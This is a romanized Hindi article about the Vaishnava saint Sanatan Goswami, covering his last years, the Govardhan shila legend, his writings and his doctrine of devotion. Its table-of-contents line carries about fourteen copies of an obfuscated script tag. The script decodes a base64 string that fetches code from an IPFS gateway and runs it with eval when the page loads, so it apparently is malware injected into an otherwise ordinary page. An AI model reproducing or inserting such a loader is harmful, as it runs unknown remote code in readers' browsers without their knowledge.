सनातन गोस्वामी का भक्ति सिद्धान्त

sanatan gosvami vishay soochi sanatan gosvami   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> balyakal aur shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> diksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhakti-sadhana   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vrindavan agaman   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahaprabhu se milan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vigrah ki prapti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mandir ka nirman   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madanamohan ki seva   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhakti siddhant   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanatan aur husainashah   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vansh parampara   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nilachal mean   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>vividh ghatanaean

shrichaitany mahaprabhu ne ek bar sanatan gosvami ki asadharan shakti ka moolyaankan karate hue kaha tha- "tumhare bhitar mujh tak ko samajhane aur path pradarshan karane ki shakti hai. kitani bar tumane isaka parichay bhi diya hai." is shakti ke karan hi unhoanne unake sharir ko apane uddeshy ki siddhi ka pradhan sadhan mana tha- tomar sharir mor pradhan sadhan." aur kaha tha- tumhare sharir se maian apane bahut se prayojanoan ko siddh karooanga. krishna-prem-tattv aur vaishnavoan ke krity ka nirdharan, apane priy sthan mathura-vrindavan mean krishna-bhakti aur krishna-prem-seva ka pravartan, lupt tirthoan ko uddhar aur vairagy ka shikshan, yah sab kary maian tumhare sharir ke madhyam se karooanga.

prayojan ki siddhi

sanatan gosvami ke sharir se mahaprabhu ke prayojan ki siddhi ab ho chuki thi. unaka sharir bahut vriddh ho gaya tha. unhoanne jivan ke bache hue kuchh din ekant bhajan mean vyatit karane ka nishchay kiya. ve manasaganga ke tir par chakreshvar mahadev ke mandir ke nikat ek vriksh ke niche bhajan karane lage. unaki vritti antarmukhi ho gayi. ahar-nidra tak ki chinta n kar ve har samay radha-krishna ke chintan aur harinamamrit ke asvadan mean doobe rahate. us samay ki unaki avastha ka varnan shriradhavallabhadas ne ek pad mean is prakar kiya hai-

"kat dine antarmana chhappann dand bhavana,

charidand nidra vrikshatale.

svapne radhakrishna dekhe, nam gane sada thake,

avasar nahian ek tile."

isi avastha mean ek bar unhean bahut samay se nirjal, nirahar dekh shrikrishna se n raha gaya. ve svayan ek gop-balak ke vesh mean gaye doodh ka patr hath mean liye apane priy bhakt ke lie aur nikat jakar bole-

"achhah nirjane, toma keh nahi jane.

dekhilam tomare asiya gocharane॥

ei dugdh pan kar amar kathay.

liya jaib bhand, rakhio ethay॥

-baba, tum yahaan nirjan mean rahate ho. kisi ko tumhara pata nahian. maian yahaan aya gocharan ko to tumhean dekha. tum bhookhe ho. mera kaha mano, yah doodh pi lo. pikar baratan yahian rakhoan, maian abhi akar le jaooanga." usane age kaha-

"kutire rahile, mo sabhar sukh habe. aichhe rah, n hile vrajavasi du:kh pabe॥

-tum aise rahate ho vrikshatale, yah thik nahian. kutiya mean raha karoan, jisase ham sabako sukh mile. aise rahoge to ham vrajavasiyoan ko b da du:kh hoga."

unhoanne vrajavasiyoan ko prerana de unake lie ek kutiya ka nirman karava diya. vrajavasiyoan ke agrah se ve usamean rahane lage. us samay sanatan gosvami ke mukh par chhayi rahati tripti ki ek ujjval kanti, jo svabhavik roop se phoot p dati hai, jab jivan ka uddeshy poora ho leta hai, jivan ki sabhi samasyaoan ka hal aur sabhi rahasyoan ka udghatan ho leta hai. us kanti ke alok mean ve apani kutiya ke ek kone mean baithe rahate gambhir paandity aur uchchatam adhyatmik upalabdhiyoan ki sampatti ko dainy ki odhani se yatnapoorvak chhipae, din-hin kangal ke vesh mean. phir bhi door-door se darshanarthi ate is manav roopi devata ke darshan karane, tatvavetta pandit ate apani-apani samasyaoan ko lekar unhean sulajhane sadhak ate upadesh grahan karane bhaktipath ke nirashray pathik ate ashray grahan karane. sabhi unake pas akar tripti labh karate, unake darshan kar jivan sarthak karate.

madanagopal dvara prapt shila

sanatan gosvami ka niyam tha giri govardhan ki nity parikrama karana. ab unaki avastha 90 varsh ki ho gayi thi. niyam nibhana mushkil ho gaya tha. phir bhi ve kisi prakar nibahe ja rahe the. ek bar ve parikrama karate hue l dakh dakar gir p de. ek gop-balak ne unhean pak d kar uthaya aur kaha-

"baba, to pai sat kos ki govarddhan parikrama ab naany hay sake. parikrama ko niyam chho d de."

balak ke sparsh se unhean kamp ho aya. usaka madhur kanthasvar bahut der tak unake kan mooan gooanjata raha. par unhoanne usaki bat par dhyan n diya parikrama jari rakhi. ekabar phir ve parikrama marg par gir p de. daivayog se vahi balak phir samane aya. unhean uthate hue bola-

"baba, too boodho hay gayau hai. too mane naany parikrama kiye bina. thakur prem te rijhean, parishram te naany."

phir bhi baba parikrama karate rahe. par ve ek sankat mean p d gaye. balak ki madhur moorti unake hriday mean g d kar rah gayi thi. usaki snehamayi chitavan unase bhulayi nahian ja rahi thi. ve dhyan mean baithate to bhi usi ki chhabi unaki aankhoan ke samane nachane lagati thi. khate-pite, soante-jagate har samay usi ki yad ati rahati thi. ek din jab ve usaki yad mean khoye hue the, unake man mean sahasa ek spandan hua, ek nayi sphoorti huee. ve sochane lage-ek sadharan vrajavasi balak se mera itana lagav! usamean itani shakti ki mujh vayovriddh vairagi ke man ko bhi itana vash mean kar le ki maian apane isht tak ka dhyan n kar sakooan.nahian, vah koee sadharan balak nahian ho sakata, jisaka itana akarshan hai. to kyo ve mere prabhu madanagopal hi haian, jo yah lila kar rahe haian? ekabar phir yadi vah balak mil jay to maian sara rahasy jane vagair n chho dooan. sanyogavash ek din parikrama karate samay vah mil gaya. phir parikrama ka niyam chho d dene ka vahi agrah karana shuroo kiya. sanatan gosvami ne usake charan pak dakar apana sir un par rakh diya aur lage artibhare svar mean kahane lage-

"prabhu, ab chhal n karo. svaroop mean prakat hokar batao maian kya karooan. giriraj mere pran haian. giriraj parikrama mere pranoan ki sanjivani hai. pran rahate ise kaise chho d dooan?"

bhakt-vatsal prabhu sanatan gosvami ki nishtha dekhakar prasann hue. par parikrama mean unaka kasht dekhakar ve du:khi hue bina bhi nahian rah sakate the. unhean bhakt ka kasht door karana tha, usake niyam ki raksha bhi karani thi aur isaka upay karane mean der bhi kya karani thi? sanatan gosvami ne jaise hi apani bat kah charanoan se sir uthakar unaki or dekha uttar ke lie, us balak ki jagah madanagopal kh de the. ve apana dahina charan ek giriraj shila par rakhe the. unake mukharavind par madhur smit thi, netroan mean karuna jhalak rahi thian ve kah rahe the-

"sanatan, tumhara kasht mujhase nahian dekha jata. tum giriraj parikrama ka apana niyam nahian chho dana chahate to is giriraj shila ki parikrama kar liya karo. is par mera charan-chihn aankit hai. isaki parikrama karane se tumhari giriraj parikrama ho jaya karegi."

itana kah madanagopal antardhan ho gaye. sanatan gosvami madanagopal-charanankit us shila ko bhaktipoorvak sir par rakhakar apani kutiya mean gaye. usaka abhishek kiya aur nity usaki parikrama karane lage. aj bhi madagopal ke charanachihnayukt vah shila vrindavan mean shriradhadamodar ke mandir mean vidyaman haian, jahaan jiv gosvami sanatan gosvami ke aprakaty ke pashchath use le aye the. ant ke kuchh dinoan mean sanatan gosvami shila ke samane asan par baith jate aur arddhanimilit netroan se nam-jap karate rahate. us samay unaka manobhav kuchh is prakar ka hota-

"he bhagavanh, maian jivan nahian chahata, maran bhi nahian chahata. bhrity jis prakar svami ke adesh ki pratiksha karata hai, maian bhi usi prakar kal ki pratiksha kar raha hooan."

aisi avastha mean jivan aur maran ke bich ki divar toot jati hai. sadhak svechchha se ya isht ke iangit par kisi samay jirnavas chho dakar isht ke sath usake dham ko chala jata hai. aise hi ek din sanatan gosvami shila ke sammukh baithe bhavana mean giriraj-parikrama kar rahe the. bhavana karate-karate yakayak unake mukharavind par chha gayi ek alaukik dipti ki abha aur sharir ashru-kamp-pulakadi satvik bhavoan se paripoorn ho gayaan kuchh hi kshanoan mean bhav-lakshan samadhi mean vilin ho gaye, netr sthir ho gaye var dehaspandanahin ho gaya. parikrama marg mean unhean mil gaye giridhari aur apane sath kahian le jane ko hue. sanatan gosvami kuchh thithake. unaka manobhav jan giridhari ne radha-madanamohan ke jugal roop mean darshan diye. tab unhoanne isht ke charanoan mean atm-nivedan kiya, parthiv, sharir chho d manjari-svaroop se nikuanj ki or unaka anugaman kiya.

sanatan gosvami ka aprakaty hua sanh 1554 ki ashadhi poornima ke din. us din prem-sadhana ka alok-stambh antarhit ho gaya. samast brajamandal par chha gaya shok aur vishad ka andhakaran shrihariram vyas jaise rasik mahatmaoan ko kahate suna gaya ki sadhu-siramani' sanatan gosvami ke antarhit ho jane se vraj ka sadhu-samaj 'anath' ho gaya, ras-mandakini ka mukhy strot atit ke garbh mean vilin ho gayaan usake bina ab sookhe patte chabana hi baqi rah gaya-

tin binu 'vyas' anath bhaye sab sevat sookhe patan.

vrindavan mean madanamohan ke mandir ke praangan mean sahastroan sadhu-vaishnoan aur vrajavasiyoan ke premashruoan ki bhavabhari shraddhaanjali ke s unhean samadhi di gayi. sanatan gosvami ke vishesh avadan ka varnan karate hue shripriyadas ji ne bhaktamal ki bhakti-ras bodhin tika mean likha hai-

vrindavan vrajabhoomi janat n kooo pray, dee darasay

jaisi shuk mukh gaee hai.

riti hooan upasanaki bhagavat anusar, liyo rasasar

so rasik sukh daee hai॥

ek aur kavi ne sanatan aur roop ke sambandh mean kaha hai-

ko sab tyaji, bhaji vrindavan

ko sab granth vicharat.

mishrit khir, nir binu hansan,

kaun prithakri kari parat॥

ko janat, mathura vrindavan,

ko janat vraj-riti.

ko janat, radha-madhav rati,

ko janat sab niti॥

sanatan gosvami vraj ke samast vaishnav-samaj ke adhinayak the. sabhi apane pita ke saman unaka adar karate the. isalie us ashadhi poornimake din sabane mastak mu dava kar unake tirobhav par shok prakat kiya. tabhi se vraj mean ashadhi poornima ka nam 'mu diya poornima' p d gaya. sanatan gosvami ki giriraj ke prati atoot shraddha thi au unhoanne ant tak giriraj parikrama ka apana vrat nibhaya tha. isalie us din sabhi vaishnavoan ne giriraj ki parikrama kar unhean shraddhajanli arpit ki. isilie tab se mu diya poornima par vishesh roop se giriraj parikrama karane ki pratha chali a rahi hai.

sanatan gosvami dvara likhit granthoan ka sankshipt parichay

sanatan gosvami dvara likhit granthoan mean char aise haian, jinaka unake dvara pranit hone ke sambandh mean kisi prakar ka vivad ya sanshay nahian hai, kyoanki unaka unake nam se ullekh kiya gaya hai jiv gosvami ki laghutoshani ke upasanhar mean, shrikrishna das kaviraj ke chaitany –charitamrit mean aur narahari chakravarti ke bhaktiratnakar mean. ve haian-

(1) haribhaktivilas ki digdarshani tika,

(2) 'vrihath vaishnavatoshani' namaki shrimadbhagavat ke dasham skandh ki tika

(3) lila-stav aur

(4) 'vrihatbhagavataanmrit' aur usaki tika.

haribhaktivilas ki digadarshini tika

haribhaktivilas mahamoolyavanh vaishnav-smriti hai, jisamean vaishnavochit achar ka pramany shastr-vakyoan dvara paripusht vistrit varnan hai. isake rachayita shri gopal bhatt gosvami haian. yah granth ke prarambhik shlok se spasht hai, jo is prakar hai-

bhaktorvilasaanshchinute prabodhanandasyashishyo bhagavatapriyasy.

gopalabhatto raghunathadasan santoshayanh roop-sanatanau ch॥

isake pratyek vilas ke ant mean bhi lekhak roop mean gopal bhatt ke hi nam ka ullekh hai. parantu shrijiv gosvami ne laghutoshani ke upasanhar mean, krishnadas kaviraj ne chaitany-charitamrit mean aur narahari chakravarti ne bhaktiratnakar mean ise sanatan gosvami ki kriti batalaya hai. isalie yatharth mean isaka lekhak kaun hai, is sambandh mean mataiky nahian hai. d aau. dineshachandr sen ne isaka samadhan yah kahakar kiya hai ki granth ke vastavik rachayita sanatan gosvami hi haian. par ve yavanoan ke sansarg mean rahane ke karan jatichyut the. yadi ve apane nam se isaka prachar karate to sarvasadharan dvara isake grahan kiye jane ki sanbhavana kam hotian isalie unhoanne gopal bhattaji ke nam se isaka prachar kiya, jo dakshin desh ke ek suprasiddh neshthik aur acharavan brahman vansh ke the. sanatan gosvami jatichyut the, isaka koee praman dekhane mean nahian ata. par ve svayan dainyavash yavan raja ke pradhanamantri rah chukane ke karan apane ko asprishy manate the. isalie yak bilkul sanbhav hai ki is mahattvapoorn smriti granth ka prachar unhoanne apane nam se n kar gopal bhatt ke nam se kiya ho. narahari chakravarti ne to spasht hi likha hai ki unhoanne is granth ki rachana kar gopal bhatt ka nam granthakar ke roop mean de diya-

gopaler name shrigosvami sanatan.

karila shriharibhaktivilas varnan॥

par is sambandh mean uchit mat yah jan p data hai ki sanatan gosvami ne ek sankshipt vaishnav-smriti ki rachana ki aur gopalabhatt gosvami ne usaka vistar kiya. is mat ki pushti do batoan se hoti hai. ek to yah ki sanatan gosvami krit 'laghuharibhaktivilas' namak ek granth ki hastalikhit pratiyaan jayapur ke govind-granthakar mean aur rajashahi varendranusandhan samiti mean vartaman haian. doosara yah ki granth ke pratyek vilas ke shesh mean likha milata hai, 'iti shrigopalabhatt vilikhit. 'vilikhit' ka arth hai vishesharoop se likhit ya vistar se likhit . yadi gopal bhatt ne mool roop mean isaki rachana ki hoti to ve 'vilikhit' ki jagah 'likhit' shabd ka hi prayog karate. manoharadas ki anuragavalliki nimn panktiyoan se bhi is mataka samarthan hota haian-

shrisanatan gosvami granth karil.

sarvatr abhog bhatt gosaeean dil॥

vastavikata yah hai ki gosvamigan sabhi milakar bhagavattattv ki alochana karate the. shribhagavanh unake ant:karan mean jo bhav parisphurit karate the, usi ke anusar granthoan ki rachana karate the, apani svatantr buddhi se kuchh nahian likhate the. isaliye apane ko granth-karta bhi nahian manate the. par jo bhi ho, haribhakti vilas ki digdarshini tika ke rachayita sanatan gosvami haian, is sambandh mean koee vivad nahian hai. shriramanarayan vidyaratn ne use jiv gosvami krit avashy kaha hai. par usaka koee mooly nahian, kyoanki jivagosvami ne svayan haribhaktivilas aur usaki tika donoan ko sanatanakrit likha hai. haribhaktivilas ka thik rachana kal bhi nirdharit karana kathin hai. par itana nishchit hai ki isaki rachana sanh 1541 ke poorv huee. kyoanki roop gosvami ke bhaktirasamritasindhu mean isaka ullekh hai. bhaktirasamritasindhu ka rachana kal sanh 1541 hai.

vrihadh-vaishnavatoshani

vrihadh-vaishnavatoshani, shrimadbhagavat ke dasham skandh ki vistirn tika, sanatan gosvami ki shastr-sadhana ka charam phal hai. granth ke arambh mean unhoanne likha hai ki is tika mean unhoanne un sab vishayoan ko kholakar likha hai, jo shridhar gosvami ki tika mean aspasht rah gaye haian. par vastavikata yah hai ki unhoanne isamean sabhi vishayoan ki jaisi paandatyapoorn aur rasamayi vyakhya ki hai, vaisi kisi prachin tika mean dekhane ko nahian milati. karan yah hai ki unhoanne shrikrishna ke aishvary-bhav ko chho d unake madhury-bhav par jitana bal diya hai, utana prachin tikakaroan ne nahian diya. jiv gosvami ne vaishnav toshani ka ek sankshipt sanskaran prakashit kiya hai. jo 'laghutoshani' ke nam se jana jata hai. usake ant mean unhoanne vrihadh-vaishnavatoshani ka rachana-kal 1476 shakabd, arthat sanh 1554 likha hai. isase spasht hai ki isaki rachana karate samay sanatan gosvami ati vriddh the aur jis varsh isaki rachana samapt huee usi varsh unhoanne nity-lila mean pravesh kiyaan

lilastav

shrijiv gosvami ne 'lilastav' namak sanatan gosvami ke ek granth ka ullekh kiya hai. shrikrishnadas kaviraj ne chaitany-charitamrit mean –dasham charit' namak sanatanakrit ek granth ka ullekh kiya hai. narahari chakravarti ne spasht kiya hai ki dasham charit lilastav ka hi doosara nam hai, kyoanki isamean bhagavat ke dasham skandh ke pratham paiantalis adhyayoan mean se pratyek ka lila-sootr namakar mean varnit hai. inake atirikt aur kee granth sanatan gosvami ke nam par aropit haian, par unaka sanatanakrit hone ke sambandh mean koee thos praman nahian haian. itana nishchit hai ki us samay ke kuchh any logoan dvara likhe gaye granthoan mean bhi haribhaktivilas ki tarah sanatan gosvami ka hath hai, jaise shriroop gosvami ke prasiddh granth 'bhaktirasamritasindhu' mean. us samay vrajamandal mean koee gau diy sadhak ya shastravidh koee granth likhata to usake lie sanatan gosvami ka sahayog ya samarthan prapt karana avashyak hota, kyoanki usake bina bhakt-samaj mean usake grahan kiye jane ki sambhavana hi n hoti.

vrihadh-bhagavatamrit

vrihath-bhagavatamrit jaisa sanatan gosvami ke shastr jnan ka parichayak hai, vaisa hi unaki adhyatmik anubhootiyoan ka. isamean unhoanne bhakti-shastr ke vishal sagar ka manthan kar sar tattv ko b de saral aur akarshak dhang se upasthit kiya hai. yah unaki kramik adhyatmik upalabdhiyoan aur uchchastariy rasanubhootiyoan ka manoram upakhyan ke dvara hridayasparshi varnan hai. yah do khandoan mean likha gaya hai. pratham khand mean yah dikhane ki cheshta ki gayi hai ki bhagavanh ka sabase adhik kripapatr kaun hai. doosare mean bhakti ke vibhinn sopanoan ka varnan hai. pratham khand ke nayak haian narad. ve bhagavan ke sabase adhik kripapatr bhakt ki khoj mean brahmand mean bhraman karate haian. sarvapratham prayag tirth ke ek brahman ko bhagavan ka sabase adhik kripapatr jan usaki prashansa karate haian. brahman dakshinaty ke ek kshatriy raja ko bhagavanh ka paramapriy bhakt nirdharit karata hai. narad us raja ke pas jate haian, to vah brahma ko bhagavanh ka paramapriy bhakt batate haian. isi prakar brahma shiv ko, shiv prahlad ko, prahlad pandavoan ko, pandav yadavoan ko, vishesh roop se uddhav ko, uddhav vraj ki gopiyoan ko aur unamean bhi radha ko bhagavanh ka sabase adhik kripapatr batate haian. pratyek apane mat ki pushti mean jo karan upasthit karata hai, usase bhaktoan ki vibhinn shreniyoan ki visheshatayean prakash mean ati haian. doosare khand ke nayak haian govardhanavasi ek gopakumar, jinake guru haian gau dadesh mean gangatat par janme jayant nam ke ek brahman. jayant ke svaroop aur bhav ka jaisa varnan hai, usake adhar par kuchh logoan ka nishchit mat hai ki jayant nam se sanatan gosvami ne shrichaitany mahaprabhu ko iangit kiya hai aur gopakumar nam se svayan apane ap ko.

gopakumar gurudatt mantr ka jap karate hue prayag, jagannathapuri aur vrindavan gaye. mantr ke hi achinty prabhav se ve svargalok, maharlok, tapolok aur satyalok gaye. is yatra mean ve pahale raja bane, phir indr ke pad ko prapt hue aur phir brahma ke pad ko. par in lokoan aur padoan ke vaibhav ko prapt karake bhi unhean tripti n huee. isalie brahmatv tyagakar ve prithvi par mathura laute. vahaan gurudev ne kaha-"vats! maianne tumhean mantr ke roop mean apana sarvasv dan kar diya hai. usake prabhav se tum sab kuchh jan jaoge. aur tumhari sarvarth siddhi hogi." ve mantr jap karate rahe. usakean prabhav se unhean pratit hone laga ki unaka panchabhautik deh ek aparthiv deh mean parinat ho gaya hai. tab ve mantr ke prabhav se us aparthiv deh se kramash: shivalok, vaikunth, ayodhya, dvaraka aur golok gaye. golok mean unhean apane isht madanagopal ke darshan hue aur ve unaki nityalila mean pravesh kar gaye. is adhyatmik akhyamika ke madhyam se sanatan gosvami ne is sabhi lokoan ka sundar chitraankan kiya hai, un bhagavath-svaroopoan ne varnan kiya hai, jo inaka sanchalan aur shasan karate haian aur us sukh ka varnan kiya hai, jo unake sannidhy mean unake bhaktoan ko milata hai. yah sabhi lok bahut akarshak hote hue bhi gopakumar ki atma ko santusht nahian karate. ve nirantar apane mantr ka jap karate rahate haian aur jis lok mean jate haian, usamean prakat bhagavadsvaroop se madanagopal ki kripa aur golok prapti ki prarthana karate haian.

vrihadbhavatamrit ka mahattv bangal ke shriatulkrishna gosvami ne in shabdoan mean vyakt kiya hai:

"vaishnavadharm ka marm janane ke lie sadhan-bhajan ke sugam sopan ka abalamn karane ke lie, vividh lokoan aur vividh avataroan ka tattv janane ke lie, aur shriradhakrishna ke padapadm ki prapti karane ke lie yadi koee choti ka granth hai to vrihadbhagavatamrit hai....................... saral kahani ke madhyam se sabhi siddhantoan ki abhijnata utpann karane vala, ek shabd mean, ati sahaj roop se jisase manav-janm saphal ho sake aisa upay batanevala aur koee granth nahian hai."

granth mean kuchh jatil aur durbodh vishayoan ko saral karane ke lie sanatan gosvami ne svayan hi 'digdarshini' nam ki isaki vistrit tika likhakar isaki upadeyata aur badha di hai.

vrihadbhagavatamrit dvara pratipadit sanatan gosvami ka bhakti-siddhant

bhagavatta ka sar madhury

vrihadbhagavatamrit ka mool uddeshy hai 'do goodhatam rahasyoan ka udghatan karana. ek to yah ki bhagavanh ka jnan nahian hai. ve jaise apani bhagavatta ko bilakul bhoole hue haian. unhean abhiman hai apane gopavesh-morapichchh-bansidhari-lila-kautuk-priy, nilakanti, yukt navakishor, natavar gopal hone ka. ve madhur se bhi madhur haian. unaka roop-rang bolana-chalana, uthana-baithana, chalana-phirana, nachana-gana, khelakood aur has-parihas sabhi kuchh ati madhur hai. madhury hi unaki bhagavatta ka sar hai. jis bhagavath svaroop mean madhury ka jitana vikas hai, usamean utana hi aishvary ka prakash kam hai. unake is poornatam roop mean madhury ka poornatam vikas hai. isaliye is roop mean yadyapi unake aishvary ka bhi poornatam vikas hai, aishvary madhury se poornat: achchhadit hai. usaka unhean kianchit bhi jnan nahian. ve sadharan gop balakoan ke sath unhian ki tarah khelate haian, unhean apane kandhe chadhate haian, unake kandhe chadhate haian, unaka jootha khate haian, unhean apana jootha khilate haian. sadharan balakoan ki tarah hi nandababa ki paduka apane sir par uthakar le jate haian, maan yashoda dvara ta dit hone par bhay khate haian, ro dete haian. yah sab unaka natak bilakul nahian hota. natak hota, yadi unhean apani bhagavatta ka jnan rahata. yadi natak hota to unhean vah rasanubhooti bhi n hoti, jisaka in madhur lilaoan ke madhyam se asvadanakar ve shrutike "raso vai s:" vaky ko sarthak karate hue apane akhilarasamrit-moorti roop ka parichay dete haian.?

bhagavan ka bhaktavatsaly

doosara rahasy, jisaka sanatan gosvami ne udghatan kiya hai, yah hai ki bhagavanh sab prakar se poorn, atmaram, aanptakam hote hue bhi apane bhaktoan ka prem ras asvadan karane ke lie sada utkanthit haian, lalayit haian. unhean apane svaroopanand se bhi bhaktoan ki seva se utpann anand ka lobh adhik hai. atmanand se premanand kotiguna adhik asvady haian. prem ka svabhav haian atripti. prem jitana adhik hota hai, utana hi usaki kami ka anubhav hota hai, utana hi usaki bhookh aur adhik hoti hai. bhagavanh ka prem anant haian. isalie unaki prem ki bhookh bhi anant hai. anant koti bhaktoan ke prem ka asvadan karake bhi ve atript haian. isalie anantakoti jiv, jo unase vimukh haian, unake unmukh hone par unake prem ka sukh asvadan karane ki asha se unaka hriday sada udvelit hai. jiv unaka bhajan nahian karate, to bhi ve unaka bhajan karate haian, unhean kisi prakar apani or unmukh karane ke lie yatnashil rahate haian. vrihadbhagavatamrit mean vaikunthadhipati shrinarayan ki gopakumar ke prati ukti se is rahasy ka udghatan bhali prakar hota hai. gopakumar ke vaikunth mean pravesh karane par unhoanne bhavagadgadh kanth se unase kaha-

"vats! svagat hai! svagat hai! maian chirakal se tumhare darshan ke lie utkanthit tha. b de saubhagy ki bat hai jo aj tumhare darshan hue. tumane bahut janm vyatit kiye, par kianchinmatr bhi meri or unmukh n hue. tumhari upeksha dekh maian bahut du:khi hua. isalie apane hi banaye maryada-marg ka langhan kar tumhean govardhan mean janm diya or svayan jayant nam ke tumhare guru roop mean avatirnahua. tab yah asha bandhi ki is bar avashy tum meri or agrasar hoge. is asha ko hriday mean dharanakar maian anavarat anand se nrity karata raha hooan. tumane meri asha saphal ki. ab sthir roop se yahaan rahakar mujhe sukhi karo aur tum bhi sukhi ho."

yah haian vaikunthadhishvar shrinarayan ke gopakumar ke prati premodgar. par narayan mean aishvary ki pradhanata hai. unaka madhury aishvary se achchhadit hai. ayodhyapati ram, dvarakadhish, shrikrishna aur vrindavan bihari shrikrishna mean kramash: madhury ka adhik vikas haian madhury ka sar hai prem. isalie unamean prem aur bhakt-vatsalata ka bhi kramash: adhik vikas hai. vrindavan bihari, morapichchh-vanshidhari shrikrishna mean madhury ki parakashtha haian. isalie unamean bhaktavatsalata ki bhi parakashtha haian.

bhagavath-svaroopoan mean madhury aur bhaktavatsaly ka kramik vikas

sanatan gosvami ne vrihadbhagavatamrit mean vibhinn bhagavadsvaroopoan mean madhury ke kramik vikas ke anusar bhaktavatsaly ke vikas ka chitran b de sundar dhang se kiya hai. gopakumar sakhyabhav ke upasak the. dashakshar mantraraj ka ve sada jap karate rahate the. usake prabhav se isht ke prati bhay, sambhram, gauravadi unamean bilkul nahian rah gaya tha. isalie jab ve vaikunth mean narayan ke nikat pahuanche to unhean dekhate hi premavesh mean unhean aliangan karane ko unake sianhasan ki or dau de. unake parshadoan ne aisa karane se unhean roka, kyoki aisa karana vaikunthanath ki maryada aur gaurav ke viruddh tha. vaikunthanath unhean prapt kar bahut prasann hue, bachanoan se unaka satkar kiya. par aisa koee vyavahar nahian kaya, jo gopakumar ko sambhram-sankoch-rahit manovritti ke anukool ho. jab unake bhojan ka samay aya, unake parshadoan ne mahalakshmi ke iangit par unhean kaushalapoorvak ant:pur se bahar kar diya.

